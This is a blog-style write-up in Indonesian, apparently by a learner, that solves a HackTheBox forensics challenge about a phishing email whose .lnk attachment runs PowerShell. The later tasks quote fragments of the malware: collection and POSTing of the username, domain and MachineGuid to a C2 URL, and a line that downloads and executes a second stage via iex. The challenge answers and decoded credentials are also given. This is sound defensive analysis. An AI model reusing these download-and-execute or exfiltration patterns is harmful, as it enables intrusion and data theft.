HackTheBox AoTR 1 : A Call from the Museum
Author : Shiro
Halo guys, kita kembali lagi nih, kali ini kita mau membahas HackTheBox AoTR 1:https://app.hackthebox.com/sherlocks/AoTR%25201%253A%2520A%2520Call%2520from%2520the%2520Museum?tab=play_sherlock. Sebelum ke langkah penyelesaian, kita baca sinopsis soal-nya dulu.
SYNOPSIS:
Pada suatu malam yang tenang di pertengahan November, seorang karyawan CALE yang kelelahan membuka email yang tak terduga dan, tanpa banyak berpikir, mengikuti instruksi yang ada di dalamnya. Beberapa saat kemudian, ada sesuatu yang terasa aneh, kepanikan melanda, dan dia tiba-tiba mencabut kabel listrik dari dinding untuk menghentikan apa pun yang telah dimulai. Satu bulan kemudian, email yang sama muncul kembali sebagai titik awal penting dari penyelidikan siber, yang menyimpan petunjuk pertama tentang apa yang sebenarnya terjadi.
Dari sinopsis tersebut sang karyawan mendapati email yang mencurigakan, tanpa pikir panjang dia malah mengikuti instruksi yang ada didalamnya, lalu terjadi anomali pada sistem yang membuatnya panik dan mencabut kabel listrik. Tugas kita yaitu menyelidiki email tersebut dan mengungkapkan apa yang sebenarnya terjadi.
Langkah 1 : Ekstraksi File
Pertama, kita akan akan meng-ekstrak file tantangan yang telah di-unduh. Gunakan command unzip.
unzip AoTR-1_A-Call-from-the-Museum.zipTerdapat password yang mengamankan file tersebut. Kita cek di https://app.hackthebox.com/sherlocks/AoTR%25201%253A%2520A%2520Call%2520from%2520the%2520Museum?tab=play_sherlock.
"password : hacktheblue"

Setelah berhasil di-ekstrak, kita lihat isi dari file ekstrak tersebut, gunakan command :
ls -lh
Setelah melihat isi file ekstrak, kita mendapatkan file utama yang akan kita analisis selanjutnya.

TASK 1 :
Who is the suspicious sender of the email?
Untuk mengetahui si pengirim/sender kita bisa membuka dan melihat isi file .eml tersebut menggunakan command cat atau less untuk melakukan analisis. Kita bisa Gunakan command grep untuk mencari baris from: untuk menemukan si sender.
grep -i "^From:" "URGENT_ Updated Health & Customs Compliance for Cross-Border Festive Event.eml"Penjelasan Bagian Command :
- grep → Program utama untuk mencari teks (search/pattern matching) di file atau input.
- -i → Ignore case (case-insensitive). Membuat pencarian tidak peduli huruf besar/kecil.
- "^From:" → Pola yang dicari (pattern). ^ artinya "awal baris", jadi output akan mencari baris yang dimulai dengan "From:".
- "file.eml" → Gunakan tanda kutip melindungi nama file dari interpretasi shell.

Jika berhasil, output akan menampilkan email dari si sender tersebut.
eu-health@ca1e-corp.org

Jika kita perhatikan dengan baik nama domain email si sender, dia menulis nama perusahaan menggunakan angka "1". Sementara nama perusahaan aslinya yaitu CALE (menggunakan huruf 'L'). Ini adalah teknik typosquatting yang sering digunakan dalam serangan phishing untuk mengelabui mata korban.
TASK 2 :
What is the legitimate server that initially sent the email?
Dalam task 2 ini, kita diperintahkan untuk mencari server dari email tersebut.
Sebelumnya, kita harus pahami dulu jejak server nya ;
Header 'Received:' bertindak sebagai stempel perjalanan email. Setiap server yang dilewati menambahkan baris baru. Baris Received paling awal menunjukkan server outbound asli yang mengirim email ke internet, yaitu server legitimate.
Setiap kali email dikirim, ia akan melewati satu atau lebih server relay (mail server) dalam perjalanannya dari pengirim ke penerima. Setiap server yang dilewati akan menambahkan baris "Received:" baru di header email. Baris Received: ini seperti "stempel" atau cap waktu yang mencatat semua perjalanan yang dilewati email tersebut.
Eksekusi
Untuk mencari server legitimate dari si pengirim email tersebut, kita harus lihat baris Received: yang paling bawah atau yang pertama kali ditambahkan. Kita bisa gunakan command grep untuk mencari kata kunci Received:.
grep -i "^Received:" "URGENT_ Updated Health & Customs Compliance for Cross-Border Festive Event.eml"Penjelasan bagian command :
- grep → Program utama untuk mencari teks (search/pattern matching) di file atau input.
- -i → Ignore case (case-insensitive). Membuat pencarian tidak peduli huruf besar/kecil.
- Received: → cari baris yang dimulai dengan "Received:"

Terlihat pada output yang ditampilkan, di bagian baris awal terdapat kata outbound yang dimana kata tersebut bertindak sebagai gerbang keluar.
BG1P293CU004.outbound.protection.outlook.com
Terlihat bahwa email tersebut dikirim menggunakan layanan resmi Microsoft Office 365 (Exchange Online Protection). Meskipun pengirimnya menggunakan domain tipuan, tapi mereka menggunakan server Outlook yang sah untuk mengirimkan email tersebut agar terlihat terpercaya dan tidak diblokir oleh sistem keamanan.

TASK 3 :
What is the attachment filename?
Dalam TASK 3 ini kita diperintahkan untuk mengetahui nama file yang dikirimkan si penyerang.
Setelah saya cari tahu ternyata email tersebut menggunakan standar MIME (Multipurpose Internet Mail Extensions) untuk menggabungkan teks dan file menjadi satu kesatuan. Biasanya di baris Content-Disposition atau Content-Type ditandai menggunakan label filename. Kita pakai command grep untuk mencari kata kunci filename.
grep -i "Filename=" "URGENT_ Updated Health & Customs Compliance for Cross-Border Festive Event.eml"Penjelasan bagian command :
- grep → Program utama untuk mencari teks (search/pattern matching) di file atau input.
- -i → Ignore case (case-insensitive). Membuat pencarian tidak peduli huruf besar/kecil.
- "Filename=" → kata kunci untuk mencari baris filename.

Setelah berhasil dijalankan, output akan menampilkan baris konten berikut :
- Content-Type: application/zip; filename="Health_Clearance-December_Archive.zip"; name="Health_Clearance-December_Archive.zip"
- Content-Disposition: attachment; filename="Health_Clearance-December_Archive.zip"; name="Health_Clearance-December_Archive.zip"
Konten tersebut membuktikan bahwa ada sebuah file yang disembunyikan pada email tersebut. Penyerang sengaja membungkus isinya ke dalam sebuah arsip ZIP agar terlihat seperti kumpulan dokumen yang resmi dan tidak mencurigakan.
Health_Clearance-December_Archive.zip

TASK 4 :
What is the Document Code?
Karena kita belum memiliki file ZIP attachment tersebut, kita akan meng-ekstrak terlebih dahulu di dalam file .eml.
Langkah 1 :
Kita bisa gunakan command munpack untuk mengekstrak file attachment yang ada didalam .eml.
munpack URGENT_... .eml
Setelah berhasil, output akan menampilkan nama file yang telah kita ekstrak tadi.
Health_Clearance-December_Archive.zip
Adalah nama file ekstraksi-nya.
Langkah 2 :
Selanjutnya kita akan ekstrak file ZIP tersebut, karena ZIP tersebut dilindungi oleh password, kita akan cari tahu password-nya terlebih dahulu.
Di awal saat kita sedang unzip AoTR-1_A-Call-from-the-Museum.zip, terdapat 2 file didalam isinya, yaitu file .pdf dan .eml. Saat membuka .pdf terdapat password yang dicantumkan didalamnya.
Password:Up7Pk99G
Gunakan password tersebut untuk mengekstrak ZIP.
unzip -P Up7Pk99G Health_Clearance-December_Archive.zipPenjelasan bagian command :
- unzip → Program utama untuk mengekstrak isi file ZIP.
- -P → Opsi (flag) yang artinya "Password".
- Up7Pk99G → Password file.
- Health_… .zip → file zip yang akan di ekstrak.

Setelah selesai unzip akan menghasilkan 2 file yang berbeda.
Langkah 3 :
Saat kita buka file .pdf dari ekstrak barusan, di bagian header terlihat code dokumen dari soal ini.

Atau juga bisa kita menggunakan command poppler untuk mengubahnya menjadi .txt lalu cat dan grip untuk melihat dan mencari code nya.
cat Health_Clearance_Guidelines.txt | grep -i "code"Penjelasan bagian command :
- cat → Command untuk menampilkan isi seluruh file ke layar (concatenate).
- Health_… .txt → Nama file yang mau dibaca.
- | → (pipe) Operator yang mengirim output dari command kiri ke command kanan sebagai input.
- grep → Tool untuk mencari pola/teks di input (global regular expression print).
- -i → (ignore case) Bikin pencarian gak peduli huruf besar/kecil.
- "code" → pola/teks yang dicari.

EU-HMU-24X
Langsung saja kita submit

TASK 5 :
What is the full URL of the C2 contacted through a POST request?
untuk mencari URL lengkapnya, kita bisa gunakan command strings, less dan cyberchef untuk decode mengungkapkan URL aslinya.
strings -el "EU_Health_Compliance_Portal.lnk" | lessPenjelasan bagian command :
- strings → untuk mengekstrak semua string (teks) yang readable dari file binary.
- -el → -e = encoding (menentukan jenis encoding string yang dicari), little-endian (16-bit) → ini khusus untuk Unicode strings (2 byte per karakter). pakai -el karena Windows (.lnk) sering menyimpan command PowerShell dalam format Unicode little-endian (bukan ASCII biasa).
- "EU_… .lnk → Nama file yang mau di ekstrak.
- | → (pipe) Mengirim output dari strings langsung ke command berikutnya.
- less → Pager (penampil teks) memungkinkan kita scroll output panjang tanpa banjir di terminal.

Terdapat teks URL yang masih mentah, kita akan decode kode tersebut menggunakan cyberchef.

Setelah selesai di decode muncul URL asli yang kita cari-cari. Langsung submit di HTB.
https://health-status-rs.com/api/v1/checkin

TASK 6 :
The malicious script sent three pieces of information in the POST request. What is the registry key from which the last one is retrieved?
Mirip seperti task 5, kita disini pakai command yang sama untuk menganalisis output yang dikeluarkan. Pakai command :
strings -el "EU_Health_Compliance_Portal.lnk" | lessPenjelasan tiap bagian command bisa dilihat di pengerjaan task 5.

Dari tampilan output terlihat PowerShell yang lumayan panjang, setelah di analisis lebih lanjut, kita mendapati beberapa bagian pentingnya.
$AX=$env:USERNAME #Penyerang tahu username korban
$Bz=$env:USERDOMAIN #Penyerang tahu domain perangkat milik korban
$Mw=(gp HKLM:\SOFTWARE\Microsoft\Cryptography).MachineGuid #Penyerang bisa track korban secara unik meskipun dia ganti username, ganti IP, atau bahkan reinstall WindowsKode script tersebut berisi informasi utama milik korban.
$pP = @{u=$AX;d=$Bz;g=$Mw} #Berisi data korban untuk dikirim via POST- u → Username
- d → Domain
- g → MachineGuid
Script tersebut menyimpan pieces of information milik korban yang akan dikirimkan ke penyerang melalui via POST.
jawaban :
HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid Penjelasan:
- HKLM → Singkatan dari HKEY_LOCAL_MACHINE. Merupakan root key registry yang berlaku buat seluruh komputer.
- SOFTWARE → Salah satu hive registry utama di Windows. SOFTWARE khusus buat setting aplikasi dan sistem yang gak tergantung hardware.
- Microsoft → Key utama yang dibuat Microsoft sendiri. Hampir semua setting sistem Windows ada di bawah SOFTWARE\Microsoft.
- Cryptography → Sub-key di bawah SOFTWARE\Microsoft. Tempat Windows nyimpen data kriptografi (enkripsi, certificate, dll).
- MachineGuid → Ini nilai yang sebenarnya diambil (data akhirnya). MachineGuid adalah string acak panjang. Windows bikin ini pas pertama kali install OS, dan dipake buat identifikasi unik komputer (bukan user, tapi mesinnya).

TASK 7 :
Then the script downloads and executes a second stage from another URL. What is the domain?
Kita masih pakai script PowerShell yang sama dari strings -el tadi. Tapi, sekarang kita fokus ke bagian yang nyambung sama "downloads and executes a second stage".
strings -el "EU_Health_Compliance_Portal.lnk" | less
Fokus ke bagian-bagian ini :
$Lj=[System.Uri]::UnescapeDataString('https%3A%2F%2Fadvent%2Dof%2Dthe%2Drelics%2Dforum%2Ehtb%2Eblue%2Fapi%2Fv1%2Fimplant%2Fcid%3D');Ini adalah URL dasar yang bisa kita decode pakai cyberchef untuk mendapatkan URL asli-nya.

https://advent-of-the-relics-forum.htb.blue/api/v1/implant/cid=
$Zu=(i`wr $oM -Method POST -Body $pP).Content;Ini hasil dari POST request pertama ke C2 checkin (task 5). Server balas sesuatu (mungkin ID atau token), disimpan di $Zu.
i`wr -Headers $Hd $Lj$Zu | i`ex;Penjelasan bagian :
- $Lj$Zu → gabung URL dasar + response dari POST pertama.
- i wr` → Invoke-WebRequest lagi (download content dari URL itu).
- -Headers $Hd → pakai Authorization Basic Auth
- | iex` → pipe output ke Invoke-Expression → langsung execute kode yang didownload.
Perintah dari soal yaitu hanya menanyakan Domain dari URL yang dipakai untuk download & execute second stage-nya saja.
advent-of-the-relics-forum.htb.blue

TASK 8 :
A set of credentials was used to access the previous resource. Retrieve them.
Masih di PowerShell yang sama, sekarang kita fokus ke bagian $Bs.

Credentials-nya berada didalam variabel $Bs.
$Bs = (-join('Basic c3','ZjX3Rlb','XA6U2','5','vd0JsY','WNrT','3V','0X','zIwM','jYh'));Kita gabungin semua string yang ada di dalam -join (tanpa spasi).
Basic c3ZjX3RlbXA6U25vd0JsYWNrT3V0XzIwMjYh
Ini adalah header Basic Authentication yang sudah di encode. Bagian setelah "Basic " adalah base64 dari username:password. Kita ambil bagian base64-nya, lalu kita decode di cyberchef atau bisa juga di terminal.
Jika di terminal gunakan command :
echo "c3ZjX3RlbXA6U25vd0JsYWNrT3V0XzIwMjYh" | base64 -dPenjelasan bagian command :
- echo → Command bawaan bash buat nge-print teks ke layar (atau ke output). Fungsinya cuma "ngasih" string base64 itu ke command selanjutnya.
- "c3ZjX3Rlb…" → String yang ingin di decode (dalam kutip supaya aman dari karakter aneh).
- | → (pipe) Kirim output dari echo langsung ke command berikutnya.
- base64 → Program bawaan untuk encode/decode base64.
- -d → Opsi singkat dari --decode.

svc_temp:SnowBlackOut_2026!

Sekian penjelasan AoTR 1 dari shiro, semoga bisa membantu teman-teman yang masih belajar.
Bila ada Kritik, saran dan masukan silahkan berkomentar. ^^